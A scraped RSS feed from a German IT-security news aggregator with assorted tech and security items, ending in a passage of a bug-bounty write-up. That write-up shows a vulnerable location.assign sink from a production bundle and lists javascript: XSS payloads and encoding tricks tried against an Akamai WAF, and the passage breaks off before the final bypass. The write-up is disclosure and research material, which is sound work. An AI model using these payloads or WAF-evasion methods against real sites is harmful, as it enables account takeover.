</div><p><a href="https://news.slashdot.org/story/26/07/10/2215249/brown-professor-suspects-majority-of-his-class-used-ai-to-cheat?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Trump phone is not a serious phone]]></title>
<description><![CDATA[The Trump phone was never a serious phone. Not when it was announced last June, in dodgy renders and with an incoherent spec sheet. Nor when Trump Mobile admitted - just two weeks later - that it wouldn't be made in the US. Not even when the company revealed the final phone, first to me […]]]></description>
<link>https://tsecurity.de/de/3660023/it-nachrichten/the-trump-phone-is-not-a-serious-phone/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660023/it-nachrichten/the-trump-phone-is-not-a-serious-phone/</guid>
<pubDate>Fri, 10 Jul 2026 16:32:30 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Trump phone was never a serious phone. Not when it was announced last June, in dodgy renders and with an incoherent spec sheet. Nor when Trump Mobile admitted - just two weeks later - that it wouldn't be made in the US. Not even when the company revealed the final phone, first to me […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple iPhone Fold Battery Size Falls Short Of Massive Rumors]]></title>
<description><![CDATA[New leaks suggest that the very first folding smartphone from Apple might not pack the giant battery everyone initially hoped for. Early reports hinted at a record-breaking power cell, but fresh details show the actual capacity could be noticeably smaller. Even with a lower number on the final sp...]]></description>
<link>https://tsecurity.de/de/3659674/ios-mac-os/apple-iphone-fold-battery-size-falls-short-of-massive-rumors/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659674/ios-mac-os/apple-iphone-fold-battery-size-falls-short-of-massive-rumors/</guid>
<pubDate>Fri, 10 Jul 2026 14:24:53 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[New leaks suggest that the very first folding smartphone from Apple might not pack the giant battery everyone initially hoped for. Early reports hinted at a record-breaking power cell, but fresh details show the actual capacity could be noticeably smaller. Even with a lower number on the final spec sheet, the phone is still expected to easily last through a full day of regular use.



Regulatory filings reveal a smaller total battery capacity than expected



A reliable leaker known as Digital Chat Station recently shared new details on Chinese social media regarding the highly anticipated foldable iPhone. According to regulatory filings from an unnamed component supplier, the upcoming device will feature a total battery capacity of at least 4,883 mAh.



This exact number is quite a bit lower than previous reports. Back in February, sources claimed the new folding model would boast a massive 5,000 mAh battery to support the large internal screen. While the new supply chain numbers are a bit of a letdown for heavy users, hitting nearly 4,900 mAh inside an incredibly thin frame is still a solid engineering achievement.



The folding design splits power between two separate battery cells



Because the phone has to fold in half, the internal space is split into two sections. The regulatory documents show that the iPhone Fold will actually use two distinct batteries to run the device. One half of the chassis will house a smaller 1,921 mAh battery, while the other side will fit a larger 2,962 mAh cell.



Even though the total capacity falls short of those early 5,000 mAh rumors, the dual battery setup still offers plenty of juice. For comparison, the upcoming standard models are expected to feature a 4,288 mAh battery.



This means the folding iPhone will still pack about 14 percent more power than its traditional counterparts. If the manufacturer can optimize its software and the new display technology, buyers should have no problem getting reliable all day battery life out of the new hardware.]]></content:encoded>
</item>
<item>
<title><![CDATA[EU accuses Meta of failing to tackle mental health risks of ‘addictive design’]]></title>
<description><![CDATA[Regulators say Facebook and Instagram features such as autoplay and infinite scroll contribute to ‘compulsive use’EU regulators have accused Meta, the company behind Facebook and Instagram, of failing to tackle the risks of its “addictive design” on the physical and mental health of users.In an o...]]></description>
<link>https://tsecurity.de/de/3659476/it-nachrichten/eu-accuses-meta-of-failing-to-tackle-mental-health-risks-of-addictive-design/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659476/it-nachrichten/eu-accuses-meta-of-failing-to-tackle-mental-health-risks-of-addictive-design/</guid>
<pubDate>Fri, 10 Jul 2026 13:03:23 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Regulators say Facebook and Instagram features such as autoplay and infinite scroll contribute to ‘compulsive use’</p><p>EU regulators have accused Meta, the company behind Facebook and Instagram, of failing to tackle the risks of its “addictive design” on the physical and mental health of users.</p><p>In an official charge sheet against Meta released on Friday, the European Commission said features such as video autoplay and infinite scroll, which provides an endless stream of content, “shift the brain into autopilot mode, contributing to unhealthy habits and compulsive use”.</p> <a href="https://www.theguardian.com/technology/2026/jul/10/eu-accuses-meta-failing-tackle-mental-health-risks-addictive-design">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[ISA VDA 6.0.3 (part 5) — Information Security Sheet: Supplier Relationships, Compliance]]></title>
<description><![CDATA[This is the part 5 of the series about the TISAX label: TISAX getting started: A Deep Dive into the ISA Assessment Workbook (part 1).   ISA VDA 6.0.3 (part 5) — Information Security Sheet: Supplier Relationships, Compliance   Chapter…
Read more →
The post ISA VDA 6.0.3 (part 5) — Information Secu...]]></description>
<link>https://tsecurity.de/de/3657303/it-security-nachrichten/isa-vda-603-part-5-information-security-sheet-supplier-relationships-compliance/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657303/it-security-nachrichten/isa-vda-603-part-5-information-security-sheet-supplier-relationships-compliance/</guid>
<pubDate>Thu, 09 Jul 2026 16:08:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is the part 5 of the series about the TISAX label: TISAX getting started: A Deep Dive into the ISA Assessment Workbook (part 1).   ISA VDA 6.0.3 (part 5) — Information Security Sheet: Supplier Relationships, Compliance   Chapter…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/isa-vda-6-0-3-part-5-information-security-sheet-supplier-relationships-compliance-2/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/isa-vda-6-0-3-part-5-information-security-sheet-supplier-relationships-compliance-2/">ISA VDA 6.0.3 (part 5) — Information Security Sheet: Supplier Relationships, Compliance</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Wazuh v4.14.7-rc1]]></title>
<description><![CDATA[Manager
Removed

Removed deprecated wazuh-dbd daemon and database_output configuration. (#37035)

Fixed

Improved cluster payload buffer allocation strategy. (#37280)
Improved cluster archive decompression limits. (#37119)
Improved cluster worker file path validation. (#36998)
Improved API authen...]]></description>
<link>https://tsecurity.de/de/3656516/it-security-tools/wazuh-v4147-rc1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656516/it-security-tools/wazuh-v4147-rc1/</guid>
<pubDate>Thu, 09 Jul 2026 11:33:48 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Manager</h3>
<h4>Removed</h4>
<ul>
<li>Removed deprecated wazuh-dbd daemon and database_output configuration. (<a href="https://github.com/wazuh/wazuh/pull/37035" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37035/hovercard">#37035</a>)</li>
</ul>
<h4>Fixed</h4>
<ul>
<li>Improved cluster payload buffer allocation strategy. (<a href="https://github.com/wazuh/wazuh/pull/37280" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37280/hovercard">#37280</a>)</li>
<li>Improved cluster archive decompression limits. (<a href="https://github.com/wazuh/wazuh/pull/37119" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37119/hovercard">#37119</a>)</li>
<li>Improved cluster worker file path validation. (<a href="https://github.com/wazuh/wazuh/pull/36998" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36998/hovercard">#36998</a>)</li>
<li>Improved API authentication stability with bounded thread pools, regex timeouts and payload size limits. (<a href="https://github.com/wazuh/wazuh/pull/37034" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37034/hovercard">#37034</a>)</li>
<li>Updated <code>aiohttp</code>, <code>cryptography</code>, <code>PyJWT</code>, <code>python-multipart</code> and <code>starlette</code> Python dependencies. (<a href="https://github.com/wazuh/wazuh/pull/37361" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37361/hovercard">#37361</a>)</li>
</ul>
<h3>Agent</h3>
<h4>Fixed</h4>
<ul>
<li>Fixed AWS SQS subscriber wodle resolving the wrong AWS account for cross-account <code>iam_role_arn</code> configurations. (<a href="https://github.com/wazuh/wazuh/pull/36791" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36791/hovercard">#36791</a>)</li>
<li>Fixed agent keepalive scheduling after a system clock rollback causing false <code>Disconnected</code> status. (<a href="https://github.com/wazuh/wazuh/pull/36338" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36338/hovercard">#36338</a>)</li>
<li>Fixed eBPF FIM whodata dropping file events on older kernels such as Amazon Linux 2 and 2023. (<a href="https://github.com/wazuh/wazuh/pull/37014" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37014/hovercard">#37014</a>)</li>
<li>Fixed eBPF FIM whodata missing file move/rename events into monitored folders. (<a href="https://github.com/wazuh/wazuh/pull/37023" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37023/hovercard">#37023</a>)</li>
<li>Added IP address validation to the <code>ip-customblock</code> active response to prevent malformed input in file path operations. (<a href="https://github.com/wazuh/wazuh/pull/36730" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36730/hovercard">#36730</a>)</li>
<li>Added a null check for inode and device fields in the FIM whodata event handler. (<a href="https://github.com/wazuh/wazuh/pull/37245" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37245/hovercard">#37245</a>)</li>
</ul>
<h3>Ruleset</h3>
<h4>Fixed</h4>
<ul>
<li>Fixed multiple Debian, Ubuntu and Windows SCA checks generating incorrect results. (<a href="https://github.com/wazuh/wazuh/pull/37385" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37385/hovercard">#37385</a>)</li>
<li>Fixed a typo in the SELinux SCA check causing false failures on CentOS 8, 9 and 10 systems configured as <code>permissive</code>. (<a href="https://github.com/wazuh/wazuh/pull/36361" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36361/hovercard">#36361</a>)</li>
<li>Fixed the AlmaLinux 9 and 10 bootloader permissions SCA check regex and optional file handling. (<a href="https://github.com/wazuh/wazuh/pull/36396" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36396/hovercard">#36396</a>)</li>
<li>Fixed the <code>/etc/gshadow-</code> permissions SCA check always failing due to an incorrect <code>all</code> condition. (<a href="https://github.com/wazuh/wazuh/pull/36795" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36795/hovercard">#36795</a>)</li>
<li>Fixed a macOS SCA PolicyBanner check false failure by wrapping the command in <code>sh -c</code> for glob expansion. (<a href="https://github.com/wazuh/wazuh/pull/36783" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36783/hovercard">#36783</a>)</li>
</ul>
<h3>RESTful API</h3>
<h4>Fixed</h4>
<ul>
<li>Fixed TypeError when sorting agents by version with empty version strings. (<a href="https://github.com/wazuh/wazuh/pull/37323" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37323/hovercard">#37323</a>)</li>
<li>Improved sensitive data masking in cluster configuration endpoint. (<a href="https://github.com/wazuh/wazuh/pull/37039" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37039/hovercard">#37039</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[I built a control deck + remote desktop for my Linux workstation, served to a spare phone over Tailscale (self-hosted, MIT license)]]></title>
<description><![CDATA[A spare Android + a Linux box I kept wanting to nudge without reaching for the keyboard = phone-deck: a self-hosted web deck (FastAPI + WebSockets) that installs on the phone as a fullscreen PWA and drives my Linux/Hyprland desktop over Tailscale. Started as "switch workspaces from the couch," tu...]]></description>
<link>https://tsecurity.de/de/3655739/linux-tipps/i-built-a-control-deck-remote-desktop-for-my-linux-workstation-served-to-a-spare-phone-over-tailscale-self-hosted-mit-license/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655739/linux-tipps/i-built-a-control-deck-remote-desktop-for-my-linux-workstation-served-to-a-spare-phone-over-tailscale-self-hosted-mit-license/</guid>
<pubDate>Thu, 09 Jul 2026 03:54:26 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>A spare Android + a Linux box I kept wanting to nudge without reaching for the keyboard = phone-deck: a self-hosted web deck (FastAPI + WebSockets) that installs on the phone as a fullscreen PWA and drives my Linux/Hyprland desktop over Tailscale. Started as "switch workspaces from the couch," turned into a whole cockpit.</p> <p>What it does:</p> <p>- Remote desktop — streams a monitor to the phone (wf-recorder → PyAV → WebRTC/VP8, so it's Wayland-native, no x11grab); touch the video to drive the cursor, long-press = right-click. "Lock input" turns the phone into a wireless keyboard + mouse + screen.</p> <p>- Remote input — trackpad + soft keyboard + key-chords via python-evdev → /dev/uinput, which works fine under Wayland (no X, and no root once you're in the input group).</p> <p>- Bidirectional audio — listen to the PC on the phone, or use the phone as a mic, via WebRTC + PipeWire null sinks.</p> <p>- The rest — live workspaces/windows off the compositor's IPC, scene layouts, per-monitor screenshots, Android share-sheet → desktop, push-to-talk voice with local whisper + a read-only local-LLM answerer, and a fleet host-switcher (runs on my laptop too).</p> <p>- Idle for a few minutes → an ambient instrument panel (telemetry, clock, now-playing) in a phosphor-CRT skin.</p> <p>Design bit I'm happy with: it pokes a root-ish surface, so the web app runs unprivileged and never executes shell strings — it sends enum action names to a tiny root helper over a unix socket (no argument-injection surface), with auth bound to the tailnet and tailscale serve for HTTPS. Nothing's exposed to the public internet.</p> <p>Honest caveat: it's welded to my setup (Hyprland, my monitor/workspace layout, Tailscale), so it's "here's how I did it, take the code," not a turnkey app — but the input/capture/audio pieces are fairly general Linux and might be useful to lift.</p> <p>Repo (MIT): <a href="http://github.com/smit-shah-GG/phone-deck">github.com/smit-shah-GG/phone-deck</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/GenocideMan99"> /u/GenocideMan99 </a> <br> <span><a href="https://i.redd.it/z2pbb9da14ch1.jpeg">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1urclxg/i_built_a_control_deck_remote_desktop_for_my/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[ED Charge Sheet Maps Sriki’s Darknet Crypto Laundering Network]]></title>
<description><![CDATA[  The Enforcement Directorate (ED) has filed a sprawling 3,500-page prosecution complaint before a special PMLA court in Bengaluru, laying out what it calls a “sophisticated network” blending high-level hacking, darknet operations, cyber extortion and multi-crore cryptocurrency laundering. The ch...]]></description>
<link>https://tsecurity.de/de/3655206/it-security-nachrichten/ed-charge-sheet-maps-srikis-darknet-crypto-laundering-network/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655206/it-security-nachrichten/ed-charge-sheet-maps-srikis-darknet-crypto-laundering-network/</guid>
<pubDate>Wed, 08 Jul 2026 20:38:11 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>  The Enforcement Directorate (ED) has filed a sprawling 3,500-page prosecution complaint before a special PMLA court in Bengaluru, laying out what it calls a “sophisticated network” blending high-level hacking, darknet operations, cyber extortion and multi-crore cryptocurrency laundering. The charge…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/ed-charge-sheet-maps-srikis-darknet-crypto-laundering-network/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/ed-charge-sheet-maps-srikis-darknet-crypto-laundering-network/">ED Charge Sheet Maps Sriki’s Darknet Crypto Laundering Network</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tool promises to make lazy academics' AI-written papers sound more human]]></title>
<description><![CDATA[Startup insists it's not trying to help anyone cheat the system - honest!]]></description>
<link>https://tsecurity.de/de/3654858/it-nachrichten/tool-promises-to-make-lazy-academics-ai-written-papers-sound-more-human/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654858/it-nachrichten/tool-promises-to-make-lazy-academics-ai-written-papers-sound-more-human/</guid>
<pubDate>Wed, 08 Jul 2026 18:19:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Startup insists it's not trying to help anyone cheat the system - honest!]]></content:encoded>
</item>
<item>
<title><![CDATA[Reallocating cybersecurity capital in the Mythos era]]></title>
<description><![CDATA[Throughout my career, I’ve seen countless technological shifts categorized as “unprecedented” that turned out to be merely incremental. The recent deployment of advanced, agentic AI models — what we are categorizing here as the “Mythos” capability — is fundamentally different. It represents a per...]]></description>
<link>https://tsecurity.de/de/3654208/it-security-nachrichten/reallocating-cybersecurity-capital-in-the-mythos-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654208/it-security-nachrichten/reallocating-cybersecurity-capital-in-the-mythos-era/</guid>
<pubDate>Wed, 08 Jul 2026 14:08:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Throughout my career, I’ve seen countless technological shifts categorized as “unprecedented” that turned out to be merely incremental. The recent deployment of advanced, agentic AI models — what we are categorizing here as the “Mythos” capability — is fundamentally different. It represents a permanent, structural shift in the risk and financial dynamics of the enterprise.</p>



<p>To understand why this requires <a href="https://www.nacdonline.org/all-governance/governance-resources/governance-research/director-handbooks/2026-cyber-risk-oversight/" rel="nofollow">immediate boardroom attention</a>, we must look at the cybersecurity budgeting baseline we are leaving behind. For decades, we relied on a predictable equilibrium: vulnerabilities were discovered and exploited at human speed. That inherent latency gave us a reasonable runway to patch systems and allowed CFOs to safely manage cyber budgets via fixed percentages or predictable annual bumps. With the arrival of machine-speed AI agents, that equilibrium — and the financial assumptions built upon it — is gone.</p>



<p>I want to be clear: this is not a crisis that should cause panic. Rather, it is a severe, balance-sheet-level mismatch in capital allocation. Mythos-level AI hasn’t magically created new vulnerabilities; it has simply industrialized the discovery and exploitation of our existing, legacy technical debt at machine speed.</p>



<p>As leaders, we cannot apply a legacy budgeting model to a machine-speed paradigm. To protect the business, preserve insurability and ensure continuity, we must fundamentally rethink how and where we deploy our cybersecurity capital.</p>



<h2 class="wp-block-heading">The core problem: The economics of asymmetry</h2>



<p>To understand the necessary budget shift, we have to look at the math. The Mythos capability isn’t just fast; it possesses agentic reasoning. Threat actors are no longer manually probing our networks; they are <a href="https://reports.weforum.org/docs/WEF_Global_Cybersecurity_Outlook_2026.pdf" rel="nofollow">using autonomous AI agents</a> to stitch together low-level bugs into critical exploits in hours, not months.</p>



<p>This asymmetry creates a crushing economic burden on our side of the ledger. Historically, a standard enterprise team of 100 software engineers could conservatively spend about 17,700 hours per year triaging code and addressing bad-code issues – a baseline direct labor cost of roughly $708,000 at a conservative US blended $40 hourly rate. In the era of frontier AI models such as Mythos, that hidden labor pool becomes a strategic budget parameter. That’s because AI may accelerate discovery, but enterprises still need the skills of expert technical talent to validate, prioritize and remediate what AI finds.</p>



<p>Today, Mythos-driven scanners can identify up to seven times that standard volume of vulnerabilities. The bottleneck is no longer finding the flaws; it is the human capacity to fix them. I see highly compensated engineering teams drowning in “triage fatigue,” burning millions in payroll hours chasing AI-generated alerts while actual, critical threats slip through the noise.</p>



<p>Throwing more money at our current strategy will only accelerate capital burn. We need a structural pivot.</p>



<h2 class="wp-block-heading">The capital reallocation mandate: Five strategic shifts</h2>



<p>Simply expanding the IT budget is not the answer. Capital must be urgently reallocated away from legacy, perimeter-based defenses and directed into five critical operational areas:</p>



<h3 class="wp-block-heading">1. Network redesign: Funding zero trust and micro-segmentation</h3>



<p>We are still funding the “castle and moat” model, which is obsolete against autonomous agents that either bypass the moat entirely or originate from within it.</p>



<p><strong>The shift:</strong> We must redirect OpEx from legacy firewalls and VPNs into <a href="https://www.cio.com/article/4076366/why-zero-trust-is-fundamental-to-containment-and-microsegmentation.html">Zero Trust Architecture (ZTA)</a>, prioritizing deep micro-segmentation alongside dynamic, AI-driven identity and access management.</p>



<p><strong>The business case:</strong> Operating on a “never trust, always verify” basis is about limiting the blast radius. Micro-segmentation acts as digital bulkheads across your network. If an AI-driven agent compromises a single endpoint or workload, these internal barriers ensure it cannot move laterally to reach your crown-jewel financial or customer data.</p>



<h3 class="wp-block-heading">2. Infrastructure modernization: Retiring legacy technical debt</h3>



<p>Mythos models are incredibly efficient at weaponizing deeply embedded technical debt, particularly in older systems built on unsafe programming languages.</p>



<p><strong>The shift:</strong> We need strategic CapEx allocated to systematically re-architect foundational systems into modern, safe languages.</p>



<p><strong>The business case:</strong> You cannot hire enough humans to patch structural flaws at machine speed. Re-platforming acts as a permanent structural fix, eliminating entire classes of vulnerabilities before the code is even compiled. This requires upfront capital but permanently shrinks the attack surface and reduces long-term OpEx associated with triage.</p>



<h3 class="wp-block-heading">3. Inside security controls: Governing shadow AI</h3>



<p>The most immediate risk to your IP isn’t always an external hacker; it’s your own workforce. To speed up their tasks, well-meaning employees are feeding proprietary source code and sensitive financial data into unsanctioned, public AI models (<a href="https://www.csoonline.com/article/4143302/the-cisos-guide-to-responding-to-shadow-ai.html">shadow AI</a>).</p>



<p><strong>The shift:</strong> Budgets must account for prompt-level Data Loss Prevention (DLP) tools, the creation of secure, private AI enclaves for internal use, and robust Non-Human Identity (NHI) management.</p>



<p><strong>The business case:</strong> A blanket ban on AI stifles productivity and innovation, but unmanaged use invites severe regulatory violations and IP theft. Upgraded internal controls give your workforce the AI tools they need to stay competitive while keeping your proprietary data inside the house.</p>



<h3 class="wp-block-heading">4. Outside security controls: AI-native defense and contextual triage</h3>



<p>Relying on manual labor to manually sort through machine-speed attacks is a losing proposition. We must invest in defenses that contextualize risk instantly.</p>



<p><strong>The shift:</strong> We need to fund AI-native posture management platforms.</p>



<p><strong>The business case:</strong> This is about maximizing the ROI of human labor. Modern platforms prioritize <em>reachability over volume</em>. If a scanner finds 1,000 flaws, but only 10 are actually exposed to the live internet, the platform filters out the 990 irrelevant alerts. This ensures your expensive engineering hours are deployed <em>only</em> where the business faces material financial exposure.</p>



<h3 class="wp-block-heading">5. Operational execution: Deploying autonomous operations</h3>



<p>Finding and prioritizing vulnerabilities is only the first step; executing the fix is where human bottlenecks create catastrophic enterprise risk. Relying on manual ticketing and reactive IT operations is no longer viable.</p>



<p><strong>The shift:</strong> <a href="https://www.weforum.org/stories/2025/06/ai-agents-cybersecurity-defenders-tip-the-scales/" rel="nofollow">Capital must be allocated toward autonomous operations</a> — platforms capable of executing complex, multi-step IT processes with limited human intervention.</p>



<p><strong>The business case:</strong> This fundamentally changes the economics of remediation. By deploying trusted, purpose-built AI agents to handle automated patch management, configuration updates and routine self-healing workflows, you eliminate the human latency in your defense. It shrinks the vulnerability exposure window from weeks to minutes, while freeing your engineering talent to focus on revenue-generating product development rather than endless IT maintenance.</p>



<h2 class="wp-block-heading">The bottom line</h2>



<p>The veil protecting our legacy infrastructure has been lifted. Deploying capital strategically toward network redesign, structural modernization, autonomous execution and AI-native controls is no longer a discretionary technology expense — it is a core fiduciary responsibility and the ultimate determinant of corporate resilience.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security or Privacy: Which Comes First?]]></title>
<description><![CDATA[Author: Security Weekly - A CRA Resource - Bewertung: 1x - Views:12 Security and privacy don't always point in the same direction. Many modern applications rely on stronger verification or deeper system access to reduce fraud, cheating, and abuse.

Those protections can also increase privacy conc...]]></description>
<link>https://tsecurity.de/de/3651828/it-security-video/security-or-privacy-which-comes-first/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651828/it-security-video/security-or-privacy-which-comes-first/</guid>
<pubDate>Tue, 07 Jul 2026 16:18:24 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Security Weekly - A CRA Resource - Bewertung: 1x - Views:12 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/AxDdo-gaBAs?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Security and privacy don't always point in the same direction. Many modern applications rely on stronger verification or deeper system access to reduce fraud, cheating, and abuse.<br />
<br />
Those protections can also increase privacy concerns. Whether it's kernel-level anti-cheat software in PC games or identity verification for banking, sports betting, or social platforms, companies have to weigh the security benefits against the risks of collecting and storing more user data. The goal isn't to eliminate risk—it's to make thoughtful trade-offs and minimize unnecessary data collection.<br />
<br />
When security requires more access to personal information, where should companies draw the line between protecting users and respecting their privacy?<br />
<br />
Subscribe to our podcasts: https://securityweekly.com/subscribe<br />
<br />
#Privacy #AppSec #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Chaining a DOM XSS Sink, WAF Bypass, Cross-Origin Smuggling, and SDK Abuse into One Click Account…]]></title>
<description><![CDATA[Chaining a DOM XSS Sink, WAF Bypass, Cross-Origin Smuggling, and SDK Abuse into One Click Account TakeoverThere’s a browser property called window.name that’s easy to overlook because it behaves differently from what most browser state does, it persists across navigations. Whatever you set it to ...]]></description>
<link>https://tsecurity.de/de/3651408/hacking/chaining-a-dom-xss-sink-waf-bypass-cross-origin-smuggling-and-sdk-abuse-into-one-click-account/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651408/hacking/chaining-a-dom-xss-sink-waf-bypass-cross-origin-smuggling-and-sdk-abuse-into-one-click-account/</guid>
<pubDate>Tue, 07 Jul 2026 13:54:50 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Chaining a DOM XSS Sink, WAF Bypass, Cross-Origin Smuggling, and SDK Abuse into One Click Account Takeover</h3><blockquote>There’s a browser property called <strong>window.name</strong> that’s easy to overlook because it behaves differently from what most browser state does, it persists across navigations. Whatever you set it to on your own page arrives intact in the next origin the tab visits, and if that origin evaluates it as code, you never had to put your payload in a URL at all. That’s the part Akamai never saw, and honestly one of the cleanest bypasses I’ve come across</blockquote><p>I’ve been hunting on this large platform’s bug bounty program on HackerOne for a while. They have a broad wildcard scope and run Akamai in front of everything meaningful. That combination produces a specific kind of bug: the sink is usually there, the WAF is usually in the way, and the interesting question is always whether you can thread the payload through the gap between them.</p><p>This writeup is about a chain that took four independent defects to complete: <em>a DOM XSS</em> sink with no scheme validation, an <em>Akamai WAF </em>rule with a structural flaw, the <em>window.name property</em>’s unusual cross-origin behavior, and a first-party <em>authentication SDK</em> that hands over signed credentials to whoever executes JavaScript in its origin. Any one of those four things is a bug report on its own. Together they were a one-click account takeover that handed me the victim’s signed JWT and live AWS STS credentials in two separate AWS accounts.</p><h3>1. Finding the Sink</h3><p>I was reading the application’s JavaScript bundles looking for <strong>open redirect sinks</strong>, anything that consumes a URL parameter and passes it directly to location.assign, location.replace, or location.href. The error-page component stood out immediately.</p><p>The application handles a set of named error conditions, clock drift, filter failures, auth service timeouts, with a shared React component that renders a user-facing message and an action button. The button’s onClick handler reads a <strong>backURL query parameter </strong>and calls <strong>window.location.assign</strong> on it. Here’s the relevant function from the minified production bundle:</p><pre>A = function(e){<br>var r = e.id, t = (0, k.zy)(), n = new URLSearchParams(t.search);<br>function o(e){<br>e.preventDefault();<br>var r = n.get("backURL");<br>("Reload Page" !== f &amp;&amp; "Please try again." !== f) || !r<br>? window.location.assign(g || t.pathname)<br>: window.location.assign(r); // no validation<br>}<br>var s = O.$D[r], u = s.img, d = s.title, p = s.description, f = s.action, g = s.linkText;<br>return …&lt;button onClick={o}&gt;{f}&lt;/button&gt;…;<br>}</pre><p>window.location.assign executes a javascript: URL synchronously in the calling document’s origin. There is no scheme check, no host check, no sanitization. The only gate is that the button’s action label must be “<em>Reload Page</em>” or “<em>Please try again.</em>”, determined by the error type in the URL path, for the dangerous branch to run.</p><p>The cleanest entry point was an error path whose rendered button reads <em>“Reload Page”</em> and presents itself as a routine timing error. Nothing suspicious about the URL bar. It’s a real application domain throughout.</p><p>The sink is there. The problem is getting a javascript: payload through Akamai.</p><h3>2. The Wall</h3><p>Akamai’s WAF sits in front of the application. Send backURL=javascript:alert(1) and you get HTTP 403. Expected. The interesting question is what the rule actually looks like.</p><p>I started mapping it <strong>systematically</strong>, every encoding trick I knew:</p><pre>javascript:alert(1) → 403<br>javascript:alert%28%29 → 403 (percent-encoded parens)<br>javascript:%2528%2529 → 403 (double-encoded)<br>javascript:eval(name) → 403<br>javascript:Function(name)() → 403<br>javascript:setTimeout(name) → 403<br>javascript:[].constructor.constructor(name)() → 403<br>javascript:({}).valueOf.constructor(name)() → 403<br>javascript:new Function(name)() → 403<br>javascript:document.body.innerHTML=… → 403<br>javascript:location='https://…' → 403<br>javascript:alert(1) → 403 (unicode escapes)<br>java%E2%80%8Bscript:alert(1) → 403 (zero-width space)<br>java%C0%80script:alert(1) → 403 (overlong UTF-8)</pre><p>Getter tricks, backtick calls, throw expressions. All 